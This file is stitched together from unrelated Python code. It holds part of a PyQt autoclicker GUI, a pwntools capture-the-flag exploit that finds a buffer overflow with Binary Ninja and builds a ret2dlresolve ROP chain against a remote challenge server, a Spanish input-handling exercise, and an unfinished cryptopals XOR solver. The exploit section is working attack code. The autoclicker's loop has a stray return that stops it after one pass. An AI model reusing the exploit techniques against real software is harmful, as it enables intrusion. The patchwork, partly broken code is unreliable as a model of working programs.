    def _create_delete_button(self, row_id):
        # Create a button widget to delete the row
        delete_button = QPushButton("-")

        # Add the row ID as an attribute to the button so it can be identified when clicked
        delete_button.row_id = row_id
        # Connect the button clicked signal to the delete_row method with the row ID as argument
        delete_button.clicked.connect(lambda: self.delete_row(row_id))
        return delete_button

    def _create_add_button(self, row):
        # Create a button widget to insert a new row below the current row
        add_button = QPushButton("+")
        # Add the row number as an attribute to the button so it can be used in the lambda function
        add_button.row = row
        # Connect the button clicked signal to the insert_row method with the row number as argument
        add_button.clicked.connect(lambda: self.insert_row(add_button.row))
        return add_button

    def get_widgets_for_action_type(self, action_type, row):
        # Map the available action types to their corresponding widget functions
        widgets_map = {
            "Clic": self.click_widgets,
            "Double clic": self.click_widgets,
            "Move": self.move_widgets,
            "Press": self.key_press_widgets,
            "Combo": self.combo_widgets,
            "Scroll": self.scroll_widgets,
            "Text": self.text_widgets,
            "Keywords": self.keywords_widgets,
            "Wait": self.wait_widgets
        }

        # Return the widget list generated by the appropriate widget function based on the action type
        return widgets_map.get(action_type, lambda: None)(row)

    def update_row_widgets(self, row):
        # Get the action type from the action type dropdown widget in the first column
        action_type_widget = self.table.cellWidget(row, 0)
        action_type = action_type_widget.currentText() if action_type_widget is not None and isinstance(action_type_widget, QComboBox) else "Clic"

        # Get the widgets for the selected action type and update the row with them
        widgets = self.get_widgets_for_action_type(action_type, row)
        self.add_widgets(row, widgets)

    def add_widgets(self, row, widget_list):
        # Add each widget in the list to the cells in the given row
        for col, widget in enumerate(widget_list):
            # If the widget is None, add an empty QLabel instead
            self.table.setCellWidget(row, col + 1, widget if widget is not None else QLabel(""))

    def delete_row(self, row_id):
        # Find the row with the specified row_id and remove it from the table
        row = next((row for row in range(self.table.rowCount()) if self.table.cellWidget(row, 5).row_id == row_id), None)
        if row is not None:
            self.table.removeRow(row)
            self.row_ids.remove(row_id)

#____ ____ _  _ ____    ____ ____    _    ____ ____ ___
#[__  |__| |  | |___    |  | |__/    |    |  | |__| |  \
#___] |  |  \/  |___    |__| |  \    |___ |__| |  | |__/

    def save_script(self):
        # Open a file dialog to allow the user to select a file to save the script to
        options = QFileDialog.Options()
        options |= QFileDialog.ReadOnly
        file_name, _ = QFileDialog.getSaveFileName(self, "SAVE", "", "Text Files (*.txt);;All Files (*)", options=options)

        # If a file name was provided, save the script to the file
        if file_name:
            # If the file name does not end in ".txt", add the extension to the file name
            if not file_name.endswith(".txt"):
                file_name += ".txt"

            # Open the file for writing and iterate over each row in the script table, writing the data for each row to the file
            with open(file_name, "w") as file:
                for row in range(self.table.rowCount()):
                    row_data = []
                    for col in range(5):
                        cell_widget = self.table.cellWidget(row, col)

                        # If the cell widget is empty or contains an empty label, append an empty string to the row data
                        if cell_widget is None or (isinstance(cell_widget, QLabel) and cell_widget.text() == ""):
                            row_data.append("")

                        # If the cell widget is a QLineEdit, append its text value to the row data
                        elif isinstance(cell_widget, QLineEdit):
                            row_data.append(cell_widget.text())

                        # If the cell widget is a QComboBox, append its current text value to the row data
                        elif isinstance(cell_widget, QComboBox):
                            row_data.append(cell_widget.currentText())

                        # If the cell widget is a QSpinBox or QDoubleSpinBox, append its value as a string to the row data
                        elif isinstance(cell_widget, QSpinBox) or isinstance(cell_widget, QDoubleSpinBox):
                            row_data.append(str(cell_widget.value()))

                    # Write the row data to the file as a pipe-delimited string
                    file.write("|".join(row_data) + "\n")

    def load_script(self):
        # Open a file dialog to allow the user to select a script file to load
        options = QFileDialog.Options()
        options |= QFileDialog.ReadOnly
        file_name, _ = QFileDialog.getOpenFileName(self, "RELOAD", "", "Text Files (*.txt);;All Files (*)", options=options)

        # If a file was selected, load the script from the file
        if file_name:
            with open(file_name, "r") as file:
                # Iterate over each line in the file
                for line in file:
                    # Parse the row data from the line
                    row_data = line.strip().split("|")
                    action_type = row_data[0]

                    # Add a new row to the table without resetting widgets
                    self.add_or_insert_row(row=self.table.rowCount(), skip_update=True)
                    row = self.table.rowCount() - 1

                    # Set the action type for the new row
                    self.action_type_dropdown = self.table.cellWidget(row, 0)
                    index = self.action_type_dropdown.findText(action_type)

                    # If the action type from the script is found in the dropdown, set it as the current selection.
                    # Then, update the row's widgets based on the selected action type to ensure proper initialization.
                    if index >= 0:
                        self.action_type_dropdown.setCurrentIndex(index)
                        self.update_row_widgets(row)

                    # Set the values for each column in the new row
                    for col, value in enumerate(row_data[1:]):
                        cell_widget = self.table.cellWidget(row, col + 1)

                        if cell_widget is None:
                            continue

                        if isinstance(cell_widget, QLineEdit):
                            cell_widget.setText(value)
                        elif isinstance(cell_widget, QComboBox):
                            cell_widget.setCurrentText(value)
                        elif isinstance(cell_widget, QSpinBox):
                            cell_widget.setValue(int(value))
                        elif isinstance(cell_widget, QDoubleSpinBox):
                            cell_widget.setValue(float(value))

#_    ____ _  _ _  _ ____ _  _ ____ ____
#|    |__| |  | |\ | |    |__| |___ |__/
#|___ |  | |__| | \| |___ |  | |___ |  \

    def launch_script(self):

        with Listener(on_press=self.on_key_press) as listener:
            mouse_controller = MouseController()
            keyboard_controller = KeyboardController()

            # Determine the number of iterations to perform based on the user input
            loop_count = self.loop_spinbox.value() if not self.loop_checkbox.isChecked() else float('inf')
            iteration = 0

            # Add a random delay if wanted
            def get_random_delay(delay):
                if self.random_checkbox.isChecked():
                    random_frames = random.randint(0, self.random_spinbox.value())
                    return delay + random_frames / 60  # convert frames in 60fps
                else:
                    return delay

            # Perform the script for the specified number of iterations or until the stop button is pressed
            while iteration < loop_count and not self.stop_script:
                try:
                    # Iterate over each row in the table and perform the corresponding action
                    for row in range(self.table.rowCount()):
                        if self.stop_script:
                            break

                        # Determine the action to perform based on the user input
                        action_type = self.table.cellWidget(row, 0).currentText()
                        delay = get_random_delay(self.table.cellWidget(row, 4).value())

                        # If the action is a click or double click, determine the coordinates of the click
                        if action_type in ["Clic", "Double clic"]:
                            x = int(self.table.cellWidget(row, 1).text())
                            y = int(self.table.cellWidget(row, 2).text())
                            mouse_controller.position = (x, y)

                        # Perform left click action
                        if action_type == "Clic":
                            try:
                                mouse_controller.click(Button.left, 1)
                            except Exception as e:
                                self.logger.exception(f"Error in 'Clic' action:  {e}\n\n Thanks to share the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")
                                self.logger.show_error(None, f"Error in 'Clic' action: {e} \n\n Please save the commands and share it with the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")

                            time.sleep(delay)

                        # Perform double click action
                        elif action_type == "Double clic":
                            try:
                                mouse_controller.click(Button.left, 2)
                            except Exception as e:
                                self.logger.exception(f"Error in 'Double Clic' action:  {e}\n\n Thanks to share the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")
                                self.logger.show_error(None, f"Error in 'Double Clic' action: {e} \n\n Please save the commands and share it with the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")

                            time.sleep(delay)

                        # Perform key press action
                        elif action_type == "Press":
                            try:
                                key_name = self.table.cellWidget(row, 1).currentText()
                                key = getattr(Key, key_name)
                                count = self.table.cellWidget(row, 2).value()

                                # Press and release the key the specified number of times
                                for _ in range(count):
                                    keyboard_controller.press(key)
                                    keyboard_controller.release(key)
                            except Exception as e:
                                self.logger.exception(f"Error in 'Press' action:  {e}\n\n Thanks to share the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")
                                self.logger.show_error(None, f"Error in 'Press' action: {e} \n\n Please save the commands and share it with the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")

                            time.sleep(delay)

                        # Perform mouse move action
                        elif action_type == "Move":
                            try:
                                x = int(self.table.cellWidget(row, 1).text())
                                y = int(self.table.cellWidget(row, 2).text())
                                mouse_controller.position = (x, y)
                            except Exception as e:
                                self.logger.exception(f"Error in 'Move' action:  {e}\n\n Thanks to share the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")
                                self.logger.show_error(None, f"Error in 'Move' action: {e} \n\n Please save the commands and share it with the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")

                            time.sleep(delay)

                        # Perform combo key press action
                        elif action_type == "Combo":
                            try:
                                combo_text = self.table.cellWidget(row, 1).currentText()
                                extra_key1_name = self.table.cellWidget(row, 2).currentText()
                                extra_key2_name = self.table.cellWidget(row, 3).currentText()

                                combo_keys = self.string_to_keys(combo_text)
                                extra_key1 = self.string_to_keys(extra_key1_name)
                                extra_key2 = self.string_to_keys(extra_key2_name)

                                keys_to_press = combo_keys + extra_key1 + extra_key2

                                # Press and release the keys in the correct order
                                for key in keys_to_press:
                                    keyboard_controller.press(key)
                                time.sleep(0.1)

                                for key in reversed(keys_to_press):
                                    keyboard_controller.release(key)
                            except Exception as e:
                                self.logger.exception(f"Error in 'Combo' action:  {e}\n\n Thanks to share the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")
                                self.logger.show_error(None, f"Error in 'Combo' action: {e} \n\n Please save the commands and share it with the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")

                            time.sleep(delay)

                        # Perform scroll action
                        elif action_type == "Scroll":
                            try:
                                scroll_amount_positive = self.table.cellWidget(row, 1).value()
                                scroll_amount_negative = self.table.cellWidget(row, 2).value()
                                scroll_amount = scroll_amount_positive + scroll_amount_negative

                                if scroll_amount > 0:
                                    for _ in range(scroll_amount):
                                        mouse_controller.scroll(0, 1)
                                else:
                                    for _ in range(abs(scroll_amount)):
                                        mouse_controller.scroll(0, -1)
                            except Exception as e:
                                self.logger.exception(f"Error in 'Scroll' action:  {e}\n\n Thanks to share the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")
                                self.logger.show_error(None, f"Error in 'Scroll' action: {e} \n\n Please save the commands and share it with the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")

                            time.sleep(delay)

                        # Perform text typing action
                        elif action_type == "Text":
                            try:
                                text = self.table.cellWidget(row, 2).text()
                                keyboard_controller.type(text)
                            except Exception as e:
                                self.logger.exception(f"Error in 'Text' action:  {e}\n\n Thanks to share the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")
                                self.logger.show_error(None, f"Error in 'Text' action: {e} \n\n Please save the commands and share it with the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")

                            time.sleep(delay)

                        # Perform keywords typing action
                        elif action_type == "Keywords":
                            try:
                                # Define a function to get the key for a given separator
                                def get_key_for_char(separator):
                                    # Define a dictionary of special characters and their corresponding keys
                                    special_chars = {
                                        ',': ',',
                                        '.': '.',
                                        '-': '-',
                                        '_': '_',
                                        ';': ';',
                                        'Enter': Key.enter
                                    }
                                    # Return the key for the given separator from the dictionary
                                    return special_chars.get(separator)

                                # Get the text from the keyword cell and the separator from the dropdown
                                keywords_text = self.table.cellWidget(row, 2).text()
                                separator_widget = self.table.cellWidget(row, 1)
                                if isinstance(separator_widget, QComboBox):
                                    separator = separator_widget.currentText()
                                else:
                                    separator = ","

                                # Replace the separator with the appropriate character
                                if separator == "Enter":
                                    keywords_text = keywords_text.replace(",", "\n")
                                else:
                                    keywords_text = keywords_text.replace(",", separator.strip())

                                # Split the keywords into a list
                                keywords = keywords_text.split(separator)

                                # Get the key to press between keywords
                                key = get_key_for_char(separator)

                                # Type each keyword and press the key between them
                                for i, keyword in enumerate(keywords):
                                    keyword = keyword.strip()

                                    if keyword:
                                        keyboard_controller.type(keyword)
                                        if i < len(keywords) - 1:
                                            if key != Key.enter:
                                                keyboard_controller.press(key)
                                                keyboard_controller.release(key)
                                            else:
                                                keyboard_controller.press(Key.enter)
                                                keyboard_controller.release(Key.enter)
                            except Exception as e:
                                # If an error occurs, log the error and show an error message to the user
                                self.logger.exception(f"Error in 'Keywords' action:  {e}\n\n Thanks to share the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")
                                self.logger.show_error(None, f"Error in 'Keywords' action: {e} \n\n Please save the commands and share it with the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")

                            # Wait for the specified delay
                            time.sleep(delay)

                        # Perform wait action
                        elif action_type == "Wait":
                            time.sleep(delay)

                # Catch any exceptions that occur during script execution and print an error message
                except Exception as e:
                    self.logger.exception(f"Critical error:  {e}\n\n Thanks to share the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")
                    self.logger.show_error(None, f"Critical error: {e} \n\n Please save the commands and share it with the error here :\n\n https://github.com/SECRET-GUEST/autoclicker/issues \n\n\n\n")

                # Release all keyboard keys at the end of each iteration
                finally:
                    for key in Key:
                        keyboard_controller.release(key)

                    iteration += 1
                    return

#____ ____ ____ ___  _  _ _ ____ ____ _       _  _ ____ ____ ____    _ _  _ ___ ____ ____ ____ ____ ____ ____
#| __ |__/ |__| |__] |__| | |    |__| |       |  | [__  |___ |__/    | |\ |  |  |___ |__/ |___ |__| |    |___
#|__] |  \ |  | |    |  | | |___ |  | |___    |__| ___] |___ |  \    | | \|  |  |___ |  \ |    |  | |___ |___

    def GUI(self):
        self.setWindowTitle("ðŸ¥º Lemme do it 4 U ðŸ¥º")

        self.main_widget = QWidget()
        self.setCentralWidget(self.main_widget)

        #The button of the app

        self.btn_save_script = QPushButton("SAVE")
        self.btn_save_script.clicked.connect(self.save_script)
        self.btn_save_script.setToolTip("Save the current tables")

        self.btn_load_script = QPushButton("RELOAD")
        self.btn_load_script.clicked.connect(self.load_script)
        self.btn_load_script.setToolTip("Add an old table to the current one")

        self.table = QTableWidget()
        self.table.setColumnCount(7)
        self.table.setHorizontalHeaderLabels(["Type", "Action", "Text", "Position", "Delay", "Delete", "Add"])

        self.btn_add_row = QPushButton("ADD A NEW ROW IN TABLE")
        self.btn_add_row.clicked.connect(self.add_row)
        self.btn_add_row.setToolTip("Add new row")

        self.time_machine_checkbox = QCheckBox("Time machine modulator")
        self.time_machine_checkbox.setToolTip("Change the time delay for all tables.")
        self.time_machine_spinbox = QSpinBox()
        self.time_machine_spinbox.setToolTip("Change the time delay for all tables.")

        # Set the range of the time machine spin box to 1-1000
        self.time_machine_spinbox.setRange(1, 1000)

        #Set the initial value of the time machine spin box to 100%
        self.time_machine_spinbox.setValue(100)
        self.time_machine_spinbox.setSuffix("%")
        self.time_machine_checkbox.stateChanged.connect(self.toggle_time_machine)

        # Connect the valueChanged signal of the time machine spin box to a lambda function that toggles the time machine checkbox
        self.time_machine_spinbox.valueChanged.connect(lambda value: self.toggle_time_machine(Qt.Checked if self.time_machine_checkbox.isChecked() else Qt.Unchecked))

        self.btn_sacrifice = QPushButton("Sacrifice all")
        self.btn_sacrifice.clicked.connect(self.clear_table)
        self.btn_sacrifice.setToolTip("Delete all tables")

        self.loop_checkbox = QCheckBox("Reach Infinity > F8 < to exit, or loop")
        self.loop_checkbox.setToolTip("Replay the loop until end of time")

        self.loop_spinbox = QSpinBox()
        self.loop_spinbox.setToolTip("Choose a number of loopings")
        self.loop_spinbox.setRange(1, 999999999)
        self.loop_spinbox.setValue(1)

        self.random_checkbox = QCheckBox("Nanosecond entropy injector")
        self.random_checkbox.setToolTip("Add random time delay between each action")
        self.random_spinbox = QSpinBox()
        self.random_spinbox.setRange(0, 999999999)
        self.random_spinbox.setValue(0)
        self.random_spinbox.setToolTip("Add random time delay between each action")

        self.launch_script_button = QPushButton("F I N I S H   H I T !")
        self.launch_script_button.clicked.connect(self.launch_script_thread)
        self.launch_script_button.setToolTip("FATALITY")

        # Layout instructions
        self.Vlay_BMO = QVBoxLayout()
        self.Hlay_BMO = QHBoxLayout()
        self.Hlay_live_or_die = QHBoxLayout()
        self.Hlay_BMO_loop = QHBoxLayout()
        self.Hlay_BMO_time_machine = QHBoxLayout()
        self.Hlay_random_delay = QHBoxLayout()

        self.main_widget.setLayout(self.Vlay_BMO)

        self.Vlay_BMO.addLayout(self.Hlay_BMO)
        self.Hlay_BMO.addWidget(self.btn_save_script)
        self.Hlay_BMO.addWidget(self.btn_load_script)

        self.Vlay_BMO.addWidget(self.table)

        self.Vlay_BMO.addLayout(self.Hlay_live_or_die)
        self.Hlay_live_or_die.addWidget(self.btn_add_row)
        self.Hlay_live_or_die.addWidget(self.btn_sacrifice)

        self.Vlay_BMO.addSpacing(10)
        self.Vlay_BMO.addLayout(self.Hlay_BMO_time_machine)
        self.Hlay_BMO_time_machine.addWidget(self.time_machine_checkbox)
        self.Hlay_BMO_time_machine.addWidget(self.time_machine_spinbox)

        self.Vlay_BMO.addSpacing(10)
        self.Vlay_BMO.addLayout(self.Hlay_BMO_loop)
        self.Hlay_BMO_loop.addWidget(self.loop_checkbox)
        self.Hlay_BMO_loop.addWidget(self.loop_spinbox)
        self.Hlay_BMO_loop.addItem(QSpacerItem(0, 0, QSizePolicy.Expanding, QSizePolicy.Minimum))

        self.Vlay_BMO.addSpacing(10)
        self.Vlay_BMO.addLayout(self.Hlay_random_delay)
        self.Hlay_random_delay.addWidget(self.random_checkbox)
        self.Hlay_random_delay.addWidget(self.random_spinbox)

        self.Vlay_BMO.addSpacing(20)
        self.Vlay_BMO.addWidget(self.launch_script_button)

#____ ____ ____ _  _ ____ ___    _    ____ _  _ _  _ ____ _  _
#|__/ |  | |    |_/  |___  |     |    |__| |  | |\ | |    |__|
#|  \ |__| |___ | \_ |___  |     |___ |  | |__| | \| |___ |  |

#ENDING | https://www.youtube.com/watch?v=CgZVrvQZB6U&ab_channel=SECRETGUEST :3

# __name__ == "__main__":
#    app = QApplication(sys.argv)
#
#    mainWin = DarthBMO()
#    mainWin.show()
#
#    sys.exit(app.exec_())


from pwn import *
import binaryninja
from os import system
import random
import string

file_name = (''.join(random.choices(string.ascii_lowercase, k=10)))

context.arch = 'i386'
binary_name = "tmp/" + file_name
r = remote("ctf.battelle.org",30042)
r.recvuntil(b"********************************")
binary = r.recvuntil(b"********************************").replace(b"********************************",b"")[1:]

with open(binary_name, 'wb') as f:
    f.write(binary)
system(f"chmod +x {binary_name}")

bv = binaryninja.open_view(binary_name)
bv.rebase(0x08048000)

# FIGURE THIS OUT
read = 0x80483d0
custom = []
for i in (bv.functions):
    if i.return_type.get_string() == 'int32_t':
        if "sub_" in i.name:
            custom.append(i)

for i in custom:
    try:
        read_size = ((list(i.high_level_il.instructions)[3]).params[-1].constant)
        memset_size = ((list(i.high_level_il.instructions)[2]).params[-1].constant)
        if read_size > memset_size:
            print("BOF FUNC FOUND")
            print("READ SIZE: " + str(read_size))
            vuln = i
            break
    except Exception as e:
        pass
og_vuln = vuln

# def search_vuln():
# for i in custom:
#     try:
#         stack_size = list(i.instructions)[3][0][-1].value
#         read_size = list(i.instructions)[16][0][-1].value
#         if read_size > stack_size:
#             print("FOUND VULN")
#             vuln = i
#     except:
#         pass

func_list = []

while vuln.callers:
    func_list.append(vuln)
    vuln = vuln.callers[0]

#First ones main, will call game
func_list = func_list[::-1][1:]

inputs = []
for i in range(len(func_list) -1):
    if list(func_list[i].high_level_il.instructions)[7].operands[1].tokens[0].value == func_list[i+1].address_ranges[0].start:
        print("TAKE RIGHT, PASS")

        pointer = bv.read(list(func_list[i].high_level_il.instructions)[5].operands[0].operands[0].operands[1][0].operands[0].value.value , 4)
        addr = struct.unpack("<l",pointer )[0]
        string = b''
        while b'\x00' not in string:
            string += bv.read(addr+ len(string),1)
        print(string)
        inputs.append(string)

    elif list(func_list[i].high_level_il.instructions)[6].operands[1].tokens[0].value == func_list[i+1].address_ranges[0].start:
        print("TAKE LEFT, FAIL")
        inputs.append(b"ex4722")
    else:
        print("BROKE")

bof_size = abs(list(og_vuln.high_level_il.instructions)[1].var.storage)
print("BOF SIZE: " + str(bof_size))

# def old_crap():
#     for i in range(len(func_list)):
#         try:
#             branch1 = (func_list[i].basic_blocks[1].get_disassembly_text()[0].tokens[-1].value)
#             branch2 = (func_list[i].basic_blocks[2].get_disassembly_text()[0].tokens[-1].value)

#         except Exception as e:
#             pass

#     array = 0x0804b02c
#     strings = []
#     for i in range(15):
#         string = b''
#         addr = struct.unpack("<l",bv.read(array + 4*i, 4) )[0]
#         print(f"READING: {hex(addr)}")
#         while b'\x00' not in string:
#             string += bv.read(addr + len(string),1)
#         print("    " + string.decode('latin'))
#         strings.append(string)

from pwn import *

libc = ELF("./libc.so.6")
context.arch = 'i386'

exe = ELF(binary_name)
rop = ROP(binary_name)

gdbscript = r"""
set $link = *0x804b004
define ld_load
    x/2x $esp
    set $stack = $esp + 4
    set $i =  *((char **) ($stack))
    printf "AT %p is %d\n", $stack, $i
    x/2wx 0x08048320 + $i
    printf "R_info: %p\n", *( 0x08048320 + $i +4)
    set $rinfo = *(int)( 0x08048320 + $i +4)
    set $rsym = $rinfo >> 8
    printf "R_sym: %p\n", $rsym
    set $sym = 0x080481cc + 0x10 * $rsym
    printf "SYM : %p\n", $sym
    x/6wx $sym
    printf "STR_OFF: %p\n", *$sym
    set $sym =  *$sym
    printf "Symbol: %s\n", $sym + 0x0804826c
end
c
"""

def remote_process():
    for i in inputs:
        r.send(i)
        r.clean()
    return r

def new_processes():
    p = process(binary_name)
    for i in inputs:
        p.send(i)
    return p

def new_debug():
    p = gdb.debug(binary_name,gdbscript=gdbscript)
    for i in inputs:
        p.send(i)
    return p

context.log_level = 'debug'

dl_resolve_func = 0x8048380

leave_ret = rop.find_gadget(["leave","ret"]).address
stack_gad = rop.find_gadget(["pop ebx","pop esi", "pop edi", "pop ebp"]).address
ret = rop.find_gadget(["ret"]).address

fake_stack = exe.bss() + 0x500
fake_link_map_addr = exe.bss() + 0x200 +8

p = remote_process()
context.log_level= 'debug'

payload = flat([
    b"A"*(bof_size-4),
    fake_stack, # fake ebp
    ret,ret,ret,
    exe.plt.read,
    leave_ret,
    0, fake_stack, 0x400,
    ])

p.send(payload)

payload = flat([
    exe.plt.read,
    stack_gad,
    0, fake_stack, 0x30,
    fake_stack,
    ])

sleep(.5)
p.clean()
p.send(payload*10)
p.clean()

"""
How to ret 2 dl_resolve:
push val1
dl_runtime_resolve()
val1 + jumprel -(ONE ENTRY???) == Elf32_Rel  *reloc_table
    *reloc_table  = got addr
    *reloc_table +4 = r_info
        ELF32_R_SYM == r_info >>8
        ELF32_R_TYPE == r_info & 0xff ( 7 for GOT??)

func's symtab == symtab + ELF32_R_SYM * 0x10

name = STRTAB + func's symtab(First entry)

elf_machine_fixup_plt()
Writes result to got addr specificed

jmp_offset correct
symtab_offset
strOffset WRONG

Messup upp ofset??
Strtab + 0 for some reason
adds it here _dl_fixup+228

Checking offset
    _dl_fixup+120
"""

"""
dt link_map
link_map
    +0x0000 l_addr               : Elf32_Addr
    +0x0004 l_name               : char *
    +0x0008 l_ld                 : Elf32_Dyn *
    +0x000c l_next               : link_map *
    +0x0010 l_prev               : link_map *
    +0x0014 l_real               : link_map *
    +0x0018 l_ns                 : Lmid_t
    +0x001c l_libname            : libname_list *
    +0x0020 l_info               : Elf32_Dyn *[77]
    +0x0154 l_phdr               : const Elf32_Phdr *
    +0x0158 l_entry              : Elf32_Addr
    +0x015c l_phnum              : Elf32_Half
    +0x015e l_ldnum              : Elf32_Half
    +0x0160 l_searchlist         : r_scope_elem
    +0x0168 l_symbolic_searchlist : r_scope_elem
    +0x0170 l_loader             : link_map *
    +0x0174 l_versions           : r_found_version *
    +0x0178 l_nversions          : unsigned int
    +0x017c l_nbuckets           : Elf_Symndx
    +0x0180 l_gnu_bitmask_idxbits : Elf32_Word
    +0x0184 l_gnu_shift          : Elf32_Word
    +0x0188 l_gnu_bitmask        : const Elf32_Addr *
    +0x018c                      : union {...}
    +0x0190                      : union {...}
    +0x0194 l_direct_opencount   : unsigned int
    +0x0198 l_type               : enum {...}
    +0x0198.2 l_relocated          : unsigned int
    +0x0198.3 l_init_called        : unsigned int
    +0x0198.4 l_global             : unsigned int
    +0x0198.5 l_reserved           : unsigned int
    +0x0198.7 l_main_map           : unsigned int
    +0x0199 l_visited            : unsigned int
    +0x0199.1 l_map_used           : unsigned int
    +0x0199.2 l_map_done           : unsigned int
    +0x0199.3 l_phdr_allocated     : unsigned int
    +0x0199.4 l_soname_added       : unsigned int
    +0x0199.5 l_faked              : unsigned int
    +0x0199.6 l_need_tls_init      : unsigned int
    +0x0199.7 l_auditing           : unsigned int
    +0x019a l_audit_any_plt      : unsigned int
    +0x019a.1 l_removed            : unsigned int
    +0x019a.2 l_contiguous         : unsigned int
    +0x019a.3 l_symbolic_in_local_scope : unsigned int
    +0x019a.4 l_free_initfini      : unsigned int
    +0x019a.5 l_ld_readonly        : unsigned int
    +0x019a.6 l_find_object_processed : unsigned int
    +0x019b l_nodelete_active    : _Bool
    +0x019c l_nodelete_pending   : _Bool
    +0x019d l_property           : enum {...}
    +0x01a0 l_x86_feature_1_and  : unsigned int
    +0x01a4 l_x86_isa_1_needed   : unsigned int
    +0x01a8 l_1_needed           : unsigned int
    +0x01ac l_rpath_dirs         : r_search_path_struct
    +0x01b4 l_reloc_result       : reloc_result *
    +0x01b8 l_versyms            : Elf32_Versym *
    +0x01bc l_origin             : const char *
    +0x01c0 l_map_start          : Elf32_Addr
    +0x01c4 l_map_end            : Elf32_Addr
    +0x01c8 l_text_end           : Elf32_Addr
    +0x01cc l_scope_mem          : r_scope_elem *[4]
    +0x01dc l_scope_max          : size_t
    +0x01e0 l_scope              : r_scope_elem **
    +0x01e4 l_local_scope        : r_scope_elem *[2]
    +0x01ec l_file_id            : r_file_id
    +0x01fc l_runpath_dirs       : r_search_path_struct
    +0x0204 l_initfini           : link_map **
    +0x0208 l_reldeps            : link_map_reldeps *
    +0x020c l_reldepsmax         : unsigned int
    +0x0210 l_used               : unsigned int
    +0x0214 l_feature_1          : Elf32_Word
    +0x0218 l_flags_1            : Elf32_Word
    +0x021c l_flags              : Elf32_Word
    +0x0220 l_idx                : int
    +0x0224 l_mach               : link_map_machine
    +0x0230 l_lookup_cache       : struct {...}
    +0x0240 l_tls_initimage      : void *
    +0x0244 l_tls_initimage_size : size_t
    +0x0248 l_tls_blocksize      : size_t
    +0x024c l_tls_align          : size_t
    +0x0250 l_tls_firstbyte_offset : size_t
    +0x0254 l_tls_offset         : ptrdiff_t
    +0x0258 l_tls_modid          : size_t
    +0x025c l_tls_dtor_count     : size_t
    +0x0260 l_relro_addr         : Elf32_Addr
    +0x0264 l_relro_size         : size_t
    +0x0268 l_serial             : long long unsigned int
"""

'''  linkmap:
    0x00: START
    0x00: l_addr (offset from libc_address to target address
    0x08:
    0x10:
    0x14:
    0x15:
    0x18:
    0x20:
    0x28: # target address here
    0x30: fake_jmprel #r_offset
    0x38: #r_info should be 7
    0x40: #r_addend 0  0x48:
    0x68: P_DT_STRTAB = linkmap_addr(just a pointer)
    0x70: p_DT_SYMTAB = fake_DT_SYMTAB
    0xf8: p_DT_JMPREL = fake_DT_JMPREL
    0x100: END

typedef struct  {  Elf64_Word st_name; /* Symbol name (string tbl index) */  unsigned char st_info; /* Symbol type and binding */  unsigned char st_other; /* Symbol visibility */  Elf64_Section st_shndx; /* Section index */  Elf64_Addr st_value; /* Symbol value */  Elf64_Xword st_size; /* Symbol size */  } Elf64_Sym;  typedef struct  {  Elf64_Addr r_offset; /* Address */  Elf64_Xword r_info; /* Relocation type and symbol index */  Elf64_Sxword r_addend; /* Addend */  } Elf64_Rela;
'''


"""Una manera de evitar problemas con la versión de Python para el ingreso de datos por
teclado es deniendo la siguiente función:

def ingresar(texto):
import sys
if sys.version > '3':
    return input(texto)
else:
    return raw_input(texto)

Cómo haría para tener el mismo resultado con manejo de excepciones y sin usar una función
aparte?"""

import sys

try:

	if sys.version > '3':
		print('ingrese el numero: ')
		n = input()
	else:
		raise OSError
except OSError:
	print('ingrese en num para python 2')
	n = raw_input()


# This challenge has the exact same logic as the 3rd one, this one being an extended version of the last one.
# i.e. We don't know which string will hold the most "English" message when xorred with a particular
#  char from amongst the 256 chars.

import requests
from bs4 import BeautifulSoup

source = requests.get("https://cryptopals.com/static/challenge-data/4.txt").text
soup =  BeautifulSoup(source, 'lxml')
text = soup.find('p').text

with open('file.txt','w') as fileW:
    fileW.write(text)

with open('file.txt', 'r') as fileR:
    val = fileR.readlines()

# The above code takes all the possible strings from the website and stores it into an array named "val."
# The array has 327 hex strings.

def scorer(input):
    frequencies = {
        'a': .08167, 'b': .01492, 'c': .02782, 'd': .04253,
        'e': .12702, 'f': .02228, 'g': .02015, 'h': .06094,
        'i': .06094, 'j': .00153, 'k': .00772, 'l': .04025,
        'm': .02406, 'n': .06749, 'o': .07507, 'p': .01929,
        'q': .00095, 'r': .05987, 's': .06327, 't': .09056,
        'u': .02758, 'v': .00978, 'w': .02360, 'x': .00150,
        'y': .01974, 'z': .00074, ' ': .13000
    }
    return sum([frequencies.get(chr(char),0) for char in input.lower()])

def xorer(input, char):
    output = b''
    for byte in input:
        output += chr(byte ^ char).encode()
    return output

# The same functions as the 3rd challenge which calculates the 'English score' and xorred array of any entered string

big = []
final = []

# Now , we want to create an array (named big) that contains 327 arrays. Each array (is named b and) contains 256 possible
# after-xorring-decrypted-message-data of a particular string.

#(1) Then we want to sort each of the 327 arrays such that the last object of each of them contains the data of the most-
# "English score" having decryted form of that string. This is exactly what we did last time, but now we have 327 such strings.

#(2) All such objects which have the largest score wrt a string are pushed into an array (named final), which now contains 327 objects.
# Again, we sort all of these objects based on their "English score" and the one with the largest score is the last object.

for hexstring in val :
    string = bytes.fromhex(hexstring)
    b = []
    big.append(b)
    for iterator in range(256):
        message = xorer(string, iterator)
        score = scorer(message)
        data = {
            'message': message.strip(b'\n').decode() ,
            'score': score,
            'key': iterator,
            'lineNumber' : val.index(hexstring) + 1
            }
        b.append(data)
